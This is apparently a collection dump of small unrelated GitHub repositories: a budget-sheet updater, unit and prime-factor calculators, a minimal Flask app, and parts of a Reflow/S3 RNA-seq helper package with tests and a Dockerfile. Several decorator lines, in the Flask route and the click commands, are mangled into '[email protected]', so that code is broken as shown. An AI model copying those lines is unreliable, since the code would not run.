\n + formatNodeData(treeFlattened[8]) \n + \" \" \n + formatNodeData(treeFlattened[9]) \n + \" \" \n + formatNodeData(treeFlattened[10]) \n + \" \" \n + formatNodeData(treeFlattened[11]) \n + \" \" \n + formatNodeData(treeFlattened[12]) \n + \" \" \n + formatNodeData(treeFlattened[13]) \n + \" \" \n + formatNodeData(treeFlattened[14]) \n + \"\")\n\n# test out a inserting, deleting and printing\ndef main(): \n \n tree = Tree()\n\n tree.insert(50)\n tree.insert(25)\n tree.insert(75)\n tree.insert(12)\n tree.insert(37)\n tree.insert(42)\n\n tree.draw()\n\n tree.delete(42)\n tree.traverse() \n\nmain()\n" } ]
3
owlherpes69/budget.py-06
https://github.com/owlherpes69/budget.py-06
7cef3057e63585cf778260558cf5e3e1535e913d
b338b21bfb1b2a4241539fea8f6dd30d02f6b5d8
609382269a52ac9612a953d31c9ec655aa7e4bb9
refs/heads/main
2023-04-06T21:40:08.354334
2021-04-10T20:43:49
2021-04-10T20:43:49
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5813148617744446, "alphanum_fraction": 0.5907518267631531, "avg_line_length": 33.93406677246094, "blob_id": "4f3b551dbbb4b59f9da97cd865183ce98c7438c0", "content_id": "ac1ff6e836bf7bfa7c22dcac0e2a48ea185519e1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3179, "license_type": "no_license", "max_line_length": 150, "num_lines": 91, "path": "/budget.py", "repo_name": "owlherpes69/budget.py-06", "src_encoding": "UTF-8", "text": "import gspread\nfrom oauth2client.service_account import ServiceAccountCredentials\nimport datetime\nfrom pprint import pprint\nimport string\nimport logging\n\n# Start logging\nloggingFormat = \"%(levelname)s: [%(asctime)s] %(message)s %(filename)s#%(lineno)s \"\nlogging.basicConfig(filename=\".logging\", level=logging.DEBUG, format=loggingFormat)\n\nlogger = logging.getLogger()\n\nlogging.info(\"Logger started\")\n\n# Prepairint and connect\nscope = [\n \"https://spreadsheets.google.com/feeds\",\n \"https://www.googleapis.com/auth/spreadsheets\",\n \"https://www.googleapis.com/auth/drive.file\",\n \"https://www.googleapis.com/auth/drive\",\n]\ncred = ServiceAccountCredentials.from_json_keyfile_name(\"cred.json\", scope)\nclient = gspread.authorize(cred)\nsheet = client.open(\"Expense Tracker\").sheet1\n\nlogger.info(\"Connected to google API\")\n\n\ndef show():\n # get all data\n data = sheet.get_all_records()\n logger.info(\"All data get for show()\")\n\n # go through by rows\n for row in data:\n column = 0\n\n # go through by row's elements\n for item, value in row.items():\n print(str(value), end=\"\")\n # add | if not last\n if column < 4:\n print(\"|\", end=\"\")\n column += 1\n print(\"\")\n\n\ndef fillUp():\n data = sheet.get_all_records()\n logger.info(\"All data get for fillUp()\")\n\n for i in range(len(data)):\n for index, cell in data[i].items():\n if cell == \"\":\n if index == \"Purchase Date\":\n sheet.update_cell(i+2, 2, sheet.cell(i+2-1, 2).value)\n logger.info(\"cell 'Purchase Date' is empty, coppying from last precious record. Item \" + data[i][\"Item\"] + \" with id = \" + str(i))\n\n elif index == \"Item\":\n sheet.update_cell(i+2, 3, sheet.cell(i+2-1, 3).value)\n logger.info(\"cell 'Item' is empty, coppying from last precious record. Item \" + data[i][\"Item\"] + \" with id = \" + str(i))\n\n elif index == \"Amount\":\n sheet.update_cell(i+2, 4, sheet.cell(i+2-1, 4).value)\n logger.info(\"cell 'Amount' is empty, coppying from last precious record. Item \" + data[i][\"Item\"] + \" with id = \" + str(i))\n\n elif index == \"Category\":\n sheet.update_cell(i+2, 5, sheet.cell(i+2-1, 5).value)\n logger.info(\"cell 'Category' is empty, coppying from last precious record. Item \" + data[i][\"Item\"] + \" with id = \" + str(i))\n\n\ndef renameAsNeeded():\n data = sheet.get_all_records()\n logger.info(\"All data get for renameAsNeeded()\")\n for i in range(len(data)):\n for index, cell in data[i].items():\n goodFormatted = data[i][\"Item\"]\n goodFormatted = goodFormatted.lower()\n goodFormatted = goodFormatted.replace(goodFormatted[0], goodFormatted[0].upper(), 1)\n\n if not data[i][\"Item\"] == goodFormatted:\n sheet.update_cell(i+2, 3, goodFormatted)\n logging.info(\"Record item's name not good. Correcting! Item \" + data[i][\"Item\"] + \" with id = \" + str(i))\n\n\nshow()\nfillUp()\nrenameAsNeeded()\n\nlogging.info(\"Script ended!\")\n" }, { "alpha_fraction": 0.7668711543083191, "alphanum_fraction": 0.7730061411857605, "avg_line_length": 53.33333206176758, "blob_id": "4c5a3ab72b3a98b526aa6775841d7eea6ad442ea", "content_id": "4cb958ff80c2b8dadeae5657783d734b72a73e42", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 163, "license_type": "no_license", "max_line_length": 113, "num_lines": 3, "path": "/README.md", "repo_name": "owlherpes69/budget.py-06", "src_encoding": "UTF-8", "text": "# budget.py\nThis is python script to automate budget sheet by change product name letter sizes and coppy some values if empty\n![](https://i.imgur.com/cW1HmAL.png)\n" } ]
2
LlewellynVDB/Unit-Conversion-Calculator
https://github.com/LlewellynVDB/Unit-Conversion-Calculator
b9a59af11b447c84b4511cb5bdf374b550589389
3747b7d2dcd6aaaefb62ff16646af967516ebe6a
f48ecc02d2428a7032f4ff0eb4509a8b3d73dced
refs/heads/master
2022-11-01T06:30:25.355045
2020-06-19T16:19:51
2020-06-19T16:19:51
273,538,928
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5188118815422058, "alphanum_fraction": 0.5541254281997681, "avg_line_length": 28.134614944458008, "blob_id": "bbebfa935275cc2a3ff03a48bf9557daa224994e", "content_id": "edfccd1742839be872f733dab3ddf13dbe844c23", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3030, "license_type": "no_license", "max_line_length": 93, "num_lines": 104, "path": "/unitConversion.py", "repo_name": "LlewellynVDB/Unit-Conversion-Calculator", "src_encoding": "UTF-8", "text": "#Various unit conversion functions with a basic user menu to select between them.\n\n#Distance conversion functions\n\ndef in_cm():\n inches = float(input(\"Enter distance in inches: \"))\n cm = inches * 2.54\n m = cm / 100\n print('{0} inches is equal to: {1} centimeters and {2} meters.'.format(inches, cm, m))\n in_cm = [cm, m]\n return in_cm\n\ndef ft_m():\n feet = float(input(\"Enter distance in feet: \"))\n m = feet * 0.3048\n cm = m * 100\n print('{0} feet is equal to: {1} centimeters and {2} meters.'.format(feet, cm, m))\n ft_m = [cm, m] \n return ft_m\n\ndef mile_km():\n miles = float(input(\"Enter a distance in miles: \"))\n km = miles * 1.609\n m = km * 1000\n print('{0} miles is equal to: {1} meters and {2} kilometers.'.format(miles, m, km))\n mile_km = [m, km]\n return mile_km\n\ndef ly_km():\n ly = float(input(\"Enter a distance in light-years: \"))\n km = ly * (9.4607304725808*(10**12))\n print('{0} light-years is equal to {1:4f} kilometers. '.format(ly, km))\n\n#Weight conversion functions\n\ndef lbs_kg():\n lbs = float(input(\"Enter weight in lbs: \"))\n g = lbs * 453.5924\n kg = g / 1000\n print('{0} lbs is equal to {1} gram, which is {2} kilogram.'.format(lbs, g, kg))\n lbs_kg = [g, kg]\n return lbs_kg\n\ndef oz_g():\n oz = float(input(\"Enter weight in ounces: \"))\n g = oz * 28.34952\n print('{0} ounces is equal to {1} gram. '.format(oz, g))\n oz_g = [oz, g]\n return oz_g\n\n#Temperature conversion functions\n\ndef fah_cel():\n fah = float(input(\"Enter a temperature value in degrees Fahrenheit: \"))\n cel = (fah - 32)*5/9\n print(\"{0} degrees Fahrenheit is equal to {1} degrees Celsius. \".format(fah, cel))\n fah_cel = [fah, cel]\n return fah_cel\n\ndef cel_k():\n cel = float(input(\"Enter a temperature value in degrees Celsius: \"))\n k = cel + 273.13\n print(\"{0} degrees Celsius is equal to {1} Kelvin. \".format(cel, k))\n cel_k = [cel, k]\n return cel_k\n\n\n#If unit_conversion_py is run directly, rather than being imported as a module, run the below\nif __name__ == '__main__':\n\n selection = 0\n\n while selection != 9:\n print('\\n')\n print('1 - Distance - in to cm')\n print('2 - Distance - ft to m')\n print('3 - Distance - miles to km')\n print('4 - Distance - light-years to km')\n print('5 - Weight - lbs to kg')\n print('6 - Weight - oz to g')\n print('7 - Temperature - deg F to deg C')\n print('8 - Temperature - deg C to K')\n print('9 -Exit')\n print('\\n')\n\n selection = int(input(\"Select the conversion to perform: \"))\n if selection == 1:\n in_cm()\n elif selection == 2:\n ft_m()\n elif selection == 3:\n mile_km()\n elif selection == 4:\n ly_km()\n elif selection == 5:\n lbs_kg()\n elif selection == 6:\n oz_g()\n elif selection == 7:\n fah_cel()\n elif selection == 8:\n cel_k()\n else:\n break\n" } ]
1
shreyashsatpute/Simple-Flask-api
https://github.com/shreyashsatpute/Simple-Flask-api
79c17670bfb4fc148969b72feeccea22b290459d
b40a1fbfba18ca85feb4843e12d39e14da8d7538
45332d82724beb281233bca1b53278f3fc0d076c
refs/heads/master
2022-12-01T22:37:46.037318
2020-08-18T13:27:07
2020-08-18T13:27:07
288,462,520
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6830601096153259, "alphanum_fraction": 0.6830601096153259, "avg_line_length": 22, "blob_id": "78c6d3702ea838ae0b0e3eddcf6b130c7d502162", "content_id": "22f88601a65a381f31fd625a8e6d07b825b235ae", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 183, "license_type": "no_license", "max_line_length": 49, "num_lines": 8, "path": "/application.py", "repo_name": "shreyashsatpute/Simple-Flask-api", "src_encoding": "UTF-8", "text": "from flask import Flask, request, render_template\n\napplication = Flask(__name__)\[email protected](\"/\")\ndef index():\n\treturn\"Hello World\"\nif __name__ =='__main__':\n\tapplication.run()" }, { "alpha_fraction": 0.7625899314880371, "alphanum_fraction": 0.7625899314880371, "avg_line_length": 68.5, "blob_id": "d477650df3c204094f18587f6b48a68f923954f2", "content_id": "42f5421fef22a1bdfbc3bf835e25a4ee9779941b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 139, "license_type": "no_license", "max_line_length": 119, "num_lines": 2, "path": "/README.md", "repo_name": "shreyashsatpute/Simple-Flask-api", "src_encoding": "UTF-8", "text": "# Simple-Flask-api\nCreated simple flask api , hosted on a free aws server , the api is return a simple \"hello world\" message when queried.\n" } ]
2
bparrish206/Prime-Numbers
https://github.com/bparrish206/Prime-Numbers
ddd57a6ac058afee27201f3b0aab87dd592692d3
544c94b777197167077de84581d34177cae59a27
87c3e8adf441e5df5b4f559a06e6e3bb61ac6c96
refs/heads/master
2021-01-20T03:35:30.569477
2013-07-30T15:09:46
2013-07-30T15:09:46
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.487109899520874, "alphanum_fraction": 0.5352781414985657, "avg_line_length": 25.799999237060547, "blob_id": "2637411ace632d8b603bae488d9f73ad436d8525", "content_id": "84fbe1a0c957f4211846adefdccbb2df3aacaa2f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1474, "license_type": "no_license", "max_line_length": 88, "num_lines": 55, "path": "/README.py", "repo_name": "bparrish206/Prime-Numbers", "src_encoding": "UTF-8", "text": "B-s-test-code\n=============\n#Global list of the first 11 prime numbers\nprime11 = (2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31)\n\n#main function that asks users for number from 1 to 1000 and displays then prime factors\ndef main():\n #get user input\n num = int(input('Enter a positive integer between 1 and 1,000:'))\n #call factor function to get and return prime factors\n factors(num)\n \n #Test cases\n factors(2500)\n factors(-50)\n factors(12)\n factors(60)\n factors(217)\n factors(862)\n factors(133)\n factors(253)\n\n#factor finder function\ndef factors(num):\n #variable to store user number chosen\n n = num\n #create a list for the prime factors to go\n ftrs = []\n #validate input\n if n <=1000 and n >=1:\n #loop through primes\n for i in prime11:\n # if one of them works\n while n % i == 0:\n #add it to list\n ftrs.append(i)\n #divide value and loop again\n n = int(n/i)\n #when value will no longer divide\n if n % i != 0:\n if n != 1:\n #add it factor list\n ftrs.append(n)\n else:\n pass\n #clean the factor list up\n ftrs.sort()\n #print it out\n print(' The factors of %d:' % num, str(ftrs)[1:-1], '\\n')\n #if bad data tell user\n else:\n print('Integer must be between 1 and 1,000.', '\\n')\n \n#call main\nmain()\n" } ]
1
czbiohub/aguamenti
https://github.com/czbiohub/aguamenti
efa27984551d35a409a7df7f07a87edfb278e864
d0c5d0a6c390e74ba2d5433ced21c1facba4276e
5c9dcd2814cd68af093b03d7c9b8593857ecc24c
refs/heads/master
2020-04-07T14:45:03.370170
2019-02-13T18:26:45
2019-02-13T18:26:45
158,459,585
0
0
MIT
2018-11-20T22:31:16
2019-02-07T19:44:33
2019-02-13T18:26:46
Python
[ { "alpha_fraction": 0.8292682766914368, "alphanum_fraction": 0.8536585569381714, "avg_line_length": 5.833333492279053, "blob_id": "2bd8b4c69391b5078b0a4c0799be6f8c4a263211", "content_id": "c113f4d4402bd2da2003899c77cb0150c44219d4", "detected_licenses": [ "MIT", "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 41, "license_type": "permissive", "max_line_length": 8, "num_lines": 6, "path": "/conda_requirements.txt", "repo_name": "czbiohub/aguamenti", "src_encoding": "UTF-8", "text": "pytest\ncoverage\nflake8\npandas\nclick\ntqdm\n" }, { "alpha_fraction": 0.6789297461509705, "alphanum_fraction": 0.6813187003135681, "avg_line_length": 25.162500381469727, "blob_id": "36fadd7026310a529999dcb0506b2f141038bb47", "content_id": "12ca37c8961c45ede7748e2feedaa5ddee5efba5", "detected_licenses": [ "MIT", "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2093, "license_type": "permissive", "max_line_length": 79, "num_lines": 80, "path": "/aguamenti/tests/test_check.py", "repo_name": "czbiohub/aguamenti", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport os\n\nfrom click.testing import CliRunner\nimport pytest\n\n\[email protected]\ndef check_folder(data_folder):\n return os.path.join(data_folder, 'check')\n\n\[email protected]\ndef reflow_program():\n return \"greet.rf\"\n\n\[email protected]\ndef reflow_program_syntax_error():\n return \"greet_syntax_error.rf\"\n\n\ndef test_get_parameter_order(check_folder, reflow_program):\n from aguamenti.check import get_parameter_order\n\n program_full_path = os.path.join(check_folder, reflow_program)\n\n test = get_parameter_order(program_full_path)\n true = ['whom', 'greeting', 'punctuation']\n assert test == true\n\n\ndef test_get_parameter_order_syntax_error(check_folder,\n reflow_program_syntax_error):\n from aguamenti.check import get_parameter_order\n\n program_full_path = os.path.join(check_folder, reflow_program_syntax_error)\n\n with pytest.raises(ValueError):\n get_parameter_order(program_full_path)\n\n\ndef test_check_batch(check_folder):\n from aguamenti.check import check_batch\n\n runner = CliRunner()\n result = runner.invoke(check_batch, ['--path', check_folder])\n\n # exit code of '0' means success!\n assert result.exit_code == 0\n\n captured = result.output\n\n found_sample = '---\\nFound sample with id \"english\"'\n running = 'greet.rf -whom world -greeting hello\\'\\n---\\n'\n\n assert isinstance(captured, object)\n assert found_sample in captured\n assert running in captured\n\n\ndef test_check_batch_debug(check_folder):\n from aguamenti.check import check_batch\n\n runner = CliRunner()\n result = runner.invoke(check_batch, ['--debug', '--path', check_folder])\n\n # exit code of '0' means success!\n assert result.exit_code == 0\n\n captured = result.output\n\n found_sample = '---\\nFound sample with id \"english\"'\n running = 'greet.rf -whom world -greeting hello\\'\\n---\\n'\n\n assert isinstance(captured, object)\n assert found_sample in captured\n assert running in captured\n assert 'reflow -log=debug -cache=off run -trace' in captured\n" }, { "alpha_fraction": 0.6566604375839233, "alphanum_fraction": 0.6622889041900635, "avg_line_length": 18.035715103149414, "blob_id": "4c9d3f65c0292e6b4b354d773731711d9546538b", "content_id": "b22542a65cc66a25096f8283dd2ab3005f192f05", "detected_licenses": [ "MIT", "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 533, "license_type": "permissive", "max_line_length": 43, "num_lines": 28, "path": "/aguamenti/tests/test_commandline.py", "repo_name": "czbiohub/aguamenti", "src_encoding": "UTF-8", "text": "from click.testing import CliRunner\n\n\ndef test_cli():\n from aguamenti.commandline import cli\n\n runner = CliRunner()\n result = runner.invoke(cli)\n\n assert result.exit_code == 0\n\n\ndef test_cli_short_help():\n from aguamenti.commandline import cli\n\n runner = CliRunner()\n result = runner.invoke(cli, [\"-h\"])\n\n assert result.exit_code == 0\n\n\ndef test_cli_long_help():\n from aguamenti.commandline import cli\n\n runner = CliRunner()\n result = runner.invoke(cli, [\"--help\"])\n\n assert result.exit_code == 0\n" }, { "alpha_fraction": 0.7286821603775024, "alphanum_fraction": 0.7441860437393188, "avg_line_length": 21.764705657958984, "blob_id": "0b5f175f525692ce25ff0fa35463e634cf9a819a", "content_id": "5230cad9db7390827e1de269d3975dbdd15c63fa", "detected_licenses": [ "MIT", "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Dockerfile", "length_bytes": 774, "license_type": "permissive", "max_line_length": 85, "num_lines": 34, "path": "/Dockerfile", "repo_name": "czbiohub/aguamenti", "src_encoding": "UTF-8", "text": "FROM continuumio/anaconda3\nMAINTAINER [email protected]\n\nWORKDIR /home\n\nUSER root\n\n# Add user \"main\" because that's what is expected by this image\nRUN useradd -ms /bin/bash main\n\n\nENV PACKAGES zlib1g git g++ make ca-certificates gcc zlib1g-dev libc6-dev\n\n### don't modify things below here for version updates etc.\n\nWORKDIR /home\n\nRUN apt-get update && \\\n apt-get install -y --no-install-recommends ${PACKAGES} && \\\n apt-get clean\n\nRUN conda install --yes Cython bz2file pytest numpy matplotlib scipy sphinx alabaster\n\n# Required for multiprocessing of 10x bam file\nRUN pip install pathos bamnostic\n\n# Install bam2fastx\nRUN cd /home && \\\n\tgit clone https://github.com/czbiohub/bam2fastx -b master &&\\\n\tcd bam2fastx && \\\n\tpython3 setup.py install\nRUN bam2fastx --help\n\nUSER main\n" }, { "alpha_fraction": 0.7647058963775635, "alphanum_fraction": 0.8067227005958557, "avg_line_length": 13.875, "blob_id": "509518d68d06261e878195fcc3a630be7d7945b4", "content_id": "b53f7a6087e203ec2971ea8bfdfaac28605aaf35", "detected_licenses": [ "MIT", "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 119, "license_type": "permissive", "max_line_length": 58, "num_lines": 8, "path": "/requirements.txt", "repo_name": "czbiohub/aguamenti", "src_encoding": "UTF-8", "text": "pytest\nflake8\ncoverage\nclick\npandas\ngit+https://github.com/czbiohub/utilities.git#egg=czb-util\nsetuptools>=38.6.0\ntqdm\n" }, { "alpha_fraction": 0.6410865783691406, "alphanum_fraction": 0.6577249765396118, "avg_line_length": 37.75, "blob_id": "e04342345cecc828ee2a5f2affb73b232f41d6d1", "content_id": "71d3c96ddf7e84abd3553c6f06157c14b83c4699", "detected_licenses": [ "MIT", "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2945, "license_type": "permissive", "max_line_length": 79, "num_lines": 76, "path": "/aguamenti/rnaseq.py", "repo_name": "czbiohub/aguamenti", "src_encoding": "UTF-8", "text": "# Import modified 'os' module with LC_LANG set so click doesn't complain\nfrom .os_utils import os, REFLOW_WORKFLOWS, sanitize_path\n\n\nimport click\n\nfrom .reflow_utils import write_config, write_samples\nfrom .s3_utils import S3_INPUT_PATH, get_fastqs_as_r1_r2_columns\n\n\nREGION = 'west'\nWORKFLOW = 'rnaseq.rf'\n\n# Taxons (species) with available references\nSUPPORTED_TAXA = ('mus',)\nTAXA_GENOMES = {'mus': 'mouse/vM19'}\n\n\[email protected](short_help=\"Create a csv of samples to input to reflow runbatch\"\n \" for RNA-seq alignment and gene counting\")\[email protected](\"experiment_id\")\[email protected](\"taxon\")\[email protected]('s3_output_path')\[email protected](\"--s3-input-path\", default=S3_INPUT_PATH,\n help=\"Location of input folders. Where the input unaligned \"\n f\"fastqs are coming from, default is '{S3_INPUT_PATH}'\")\[email protected]('--output', default='.',\n help='Where to output the samples.csv and config.json files to.'\n ' Default is the current directory.')\[email protected]('--reflow-workflows-path', default=REFLOW_WORKFLOWS,\n help='Location of reflow-workflows directory containing .rf '\n f'files. Default: {REFLOW_WORKFLOWS}')\[email protected]('--region', default=REGION,\n help=\"Either 'east' or 'west', depending on where your fastq \"\n f\"files are. Default: {REGION}\")\[email protected]('--workflow', default=WORKFLOW,\n help=\"Which workflow to run on these files. \"\n f\"Default: {WORKFLOW}\")\ndef align(experiment_id, taxon, s3_output_path, s3_input_path=S3_INPUT_PATH,\n output='.', reflow_workflows_path=REFLOW_WORKFLOWS,\n region=REGION, workflow=WORKFLOW):\n \"\"\"Create a samples.csv file\n\n \\b\n Parameters\n ----------\n experiment_id : str\n A string of the form `YYMMDD_EXP_ID`, a folder in the --s3-input-path\n argument. e.g. \"20181030_FS10000331_12_BNT40322-1214\"\n taxon : str\n Only \"mus\" (mouse) is valid now, more will be added later\n s3_output_path : str\n Where to output the aligned files to\n \"\"\"\n output = sanitize_path(output)\n reflow_workflows_path = sanitize_path(reflow_workflows_path)\n\n # Make the output directory if it's not already there\n os.makedirs(output, exist_ok=True)\n\n # Check that the taxa actually has a reference genome, otherwise\n # no alignment :(\n assert taxon in SUPPORTED_TAXA\n\n # Get dataframe with 1 sample per row, read1 and read2 as columns\n samples = get_fastqs_as_r1_r2_columns(experiment_id, s3_input_path)\n\n # Set parameters for star_htseq.rf\n samples['name'] = samples.index\n samples['genome'] = TAXA_GENOMES[taxon]\n samples['output'] = s3_output_path\n samples['region'] = region\n\n # Write filenames\n csv_filename = write_samples(output, samples)\n write_config(csv_filename, output, reflow_workflows_path, workflow)\n" }, { "alpha_fraction": 0.6182348132133484, "alphanum_fraction": 0.6348875761032104, "avg_line_length": 31.904109954833984, "blob_id": "d8c0ab5555079749b345275f2d70110c03e3da68", "content_id": "a4b66c086ecd4a7f4a4f60cff1b11e9912722332", "detected_licenses": [ "MIT", "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2402, "license_type": "permissive", "max_line_length": 77, "num_lines": 73, "path": "/aguamenti/s3_utils.py", "repo_name": "czbiohub/aguamenti", "src_encoding": "UTF-8", "text": "from .os_utils import os, maybe_add_slash\n\n\nimport warnings\n\nfrom tqdm import tqdm\nfrom utilities import s3_util as s3u\n\nwith warnings.catch_warnings():\n warnings.simplefilter(\"ignore\")\n import pandas as pd\n\n\nS3_REFERENCE = {\"east\": \"czbiohub-reference-east\",\n \"west\": \"czbiohub-reference\"}\nSAMPLE_REGEX = r'(?P<id>[^/]+)_(?P<read_number>R\\d)_\\d+.fastq.gz$'\nS3_INPUT_PATH = \"s3://czb-seqbot/fastqs\"\n\n\ndef get_fastqs_as_r1_r2_columns(experiment_id, s3_input_path=S3_INPUT_PATH):\n \"\"\"Create a dataframe with a sample per row, and R1 and R2 fastqs in cols\n\n Parameters\n ----------\n experiment_id : str\n Experiment id from Illumina sequencing run, as a folder in\n s3_input_path\n s3_input_path : str\n\n Returns\n -------\n samples : pandas.DataFrame\n A (n_samples, 2) dataframe containing the full path to the fastq.gz\n for each sample. Each row is a single sample, and the columns are\n 'read1' and 'read2'.\n\n \"\"\"\n # Add a final slash if it's not already there to ensure we're searching\n # subfolders\n s3_input_path = maybe_add_slash(s3_input_path)\n\n s3_input_bucket, s3_input_prefix = s3u.s3_bucket_and_key(\n s3_input_path)\n\n path_to_search = os.path.join(s3_input_prefix, experiment_id)\n\n print(f\"Recursively searching s3://{s3_input_bucket}/{path_to_search}\"\n \" for fastq.gz files ...\")\n\n data = [\n (filename, size)\n for filename, size in tqdm(s3u.get_size(\n s3_input_bucket, path_to_search\n ))\n if filename.endswith(\"fastq.gz\")\n ]\n print(f\"\\tDone. Found {len(data)} fastq.gz files\")\n\n s3_input_bucket = maybe_add_slash(s3_input_bucket)\n\n fastqs = pd.DataFrame(data, columns=['filename', 'size'])\n fastqs['full_path'] = 's3://' + s3_input_bucket + fastqs['filename']\n fastqs['basename'] = fastqs.filename.map(os.path.basename)\n read_data = fastqs.basename.str.extractall(SAMPLE_REGEX)\n read_data.index = read_data.index.droplevel(-1)\n fastqs_with_data = pd.concat([fastqs, read_data], axis=1)\n\n # Transform so R1 and R2 are column names, and the values are the paths\n # Each row is a single sample\n samples = fastqs_with_data.pivot(index='id', columns='read_number',\n values='full_path')\n samples = samples.rename(columns={'R1': 'read1', \"R2\": \"read2\"})\n return samples\n" }, { "alpha_fraction": 0.636640727519989, "alphanum_fraction": 0.6379952430725098, "avg_line_length": 30.752687454223633, "blob_id": "46c32d6720d6d2c139707b3aa0ff91d6c058c3c8", "content_id": "c7f7c61af713e168d119cb7e31c0eeb9c575c215", "detected_licenses": [ "MIT", "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2953, "license_type": "permissive", "max_line_length": 78, "num_lines": 93, "path": "/aguamenti/check.py", "repo_name": "czbiohub/aguamenti", "src_encoding": "UTF-8", "text": "# Import modified 'os' module with LC_LANG set so click doesn't complain\nfrom .os_utils import os, sanitize_path, get_stdout_stderr_from_command\n\nfrom itertools import chain\nimport subprocess\n\nimport click\n\nfrom .reflow_utils import SAMPLES_CSV, CONFIG_JSON, read_config, read_samples\n\n\nREGION = 'west'\nWORKFLOW = 'rnaseq.rf'\n\n# Taxons (species) with available references\nSUPPORTED_TAXA = ('mus',)\nTAXA_GENOMES = {'mus': 'mouse/vM19'}\n\n\ndef get_parameter_order(reflow_program):\n \"\"\"Get the expected order of command line flags for a reflow program\"\"\"\n stdout, stderr = get_stdout_stderr_from_command(\n [\"reflow\", \"doc\", reflow_program])\n\n stderr = '\\n'.join(stderr)\n if 'syntax error' in stderr:\n raise ValueError(\"Syntax errors in Reflow program:\\n\"\n \"{stderr}\")\n\n # Save the parameters from the command\n parameter_order = []\n for line in stdout:\n # First section is always parameters, then function definitions.\n if line.startswith('val'):\n val, parameter, *rest = line.split()\n parameter_order.append(parameter)\n\n # Ignore all function definitions since they're not parameters\n if line.startswith('Declarations'):\n break\n return parameter_order\n\n\ndef maybe_get_parameters(parameter_order, arguments):\n ordered_parameters = []\n for param in parameter_order:\n try:\n ordered_parameters.append((f\"-{param}\", arguments[param]))\n except KeyError:\n # Parameter is described but not used\n continue\n return list(chain(*ordered_parameters))\n\n\[email protected](short_help=\"Submit the first line of a reflow runbatch \"\n \"samples.csv to check for errors\")\[email protected](\"--path\", default='.',\n help=\"Where to look for samples.csv and config.json files. \"\n \"Default is the current directory\")\[email protected](\"--debug/--no-debug\", default=False)\ndef check_batch(path, debug):\n \"\"\"Reflow run the first line of a samples.csv\"\"\"\n path = sanitize_path(path)\n\n samples = read_samples(os.path.join(path, SAMPLES_CSV))\n config = read_config(os.path.join(path, CONFIG_JSON))\n\n program = os.path.join(path, config['program'])\n\n parameter_order = get_parameter_order(program)\n\n sample_id = samples.index[0]\n\n first_row = samples.iloc[0]\n arguments = {}\n for key, value in first_row.items():\n arguments[key] = str(value)\n\n arguments_ordered = maybe_get_parameters(parameter_order, arguments)\n\n if debug:\n base_command = [\"reflow\", \"-log=debug\", \"-cache=off\", \"run\", \"-trace\",\n program]\n else:\n base_command = [\"reflow\", \"run\", program]\n\n command = base_command + arguments_ordered\n\n click.echo(\"---\")\n click.echo(f'Found sample with id \"{sample_id}\"!')\n click.echo(f\"Running '{' '.join(command)}'\")\n click.echo(\"---\")\n subprocess.run(command)\n" }, { "alpha_fraction": 0.6345177888870239, "alphanum_fraction": 0.6345177888870239, "avg_line_length": 15.416666984558105, "blob_id": "726c4ca789c12aebada6f1995b48751e39309a66", "content_id": "bf63eae1bc8b7156d25c4bba3ccc9ef4158bc70a", "detected_licenses": [ "BSD-3-Clause", "MIT" ], "is_generated": false, "is_vendor": false, "language": "reStructuredText", "length_bytes": 197, "license_type": "permissive", "max_line_length": 45, "num_lines": 12, "path": "/docs/installation.rst", "repo_name": "czbiohub/aguamenti", "src_encoding": "UTF-8", "text": "============\nInstallation\n============\n\nAt the command line::\n\n $ easy_install aguamenti\n\nOr, if you have virtualenvwrapper installed::\n\n $ mkvirtualenv aguamenti\n $ pip install aguamenti\n" }, { "alpha_fraction": 0.5569620132446289, "alphanum_fraction": 0.5569620132446289, "avg_line_length": 10.285714149475098, "blob_id": "0dfac0270ef6c37a74bd4009a814834275ded767", "content_id": "2d54bd1c3410b5d1e08b07788f7d0147f764ce9a", "detected_licenses": [ "BSD-3-Clause", "MIT" ], "is_generated": false, "is_vendor": false, "language": "reStructuredText", "length_bytes": 79, "license_type": "permissive", "max_line_length": 31, "num_lines": 7, "path": "/docs/usage.rst", "repo_name": "czbiohub/aguamenti", "src_encoding": "UTF-8", "text": "========\nUsage\n========\n\nTo use Aguamenti in a project::\n\n import aguamenti\n" }, { "alpha_fraction": 0.6106085777282715, "alphanum_fraction": 0.6143091917037964, "avg_line_length": 32.77777862548828, "blob_id": "6fb8925029b595a3a0e1be4dd09ecd728d283e66", "content_id": "020ab6b32eba860ddd1cc2b31d73d9667547e41e", "detected_licenses": [ "MIT", "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2432, "license_type": "permissive", "max_line_length": 76, "num_lines": 72, "path": "/aguamenti/status.py", "repo_name": "czbiohub/aguamenti", "src_encoding": "UTF-8", "text": "# Import modified 'os' module with LC_LANG set so click doesn't complain\nfrom .os_utils import os, REFLOW_BATCHES, sanitize_path, \\\n get_stdout_from_command\n\nfrom collections import defaultdict\n\n\nimport click\n\nfrom .reflow_utils import SAMPLES_CSV, CONFIG_JSON\n\n\nSTATE_JSON = 'state.json'\nSTATE_LOCK = 'state.lock'\n\nSTATUS_FILES = STATE_JSON, STATE_LOCK, CONFIG_JSON, SAMPLES_CSV\n\n\nLISTBATCH_COLS = [\"id\", \"run\", 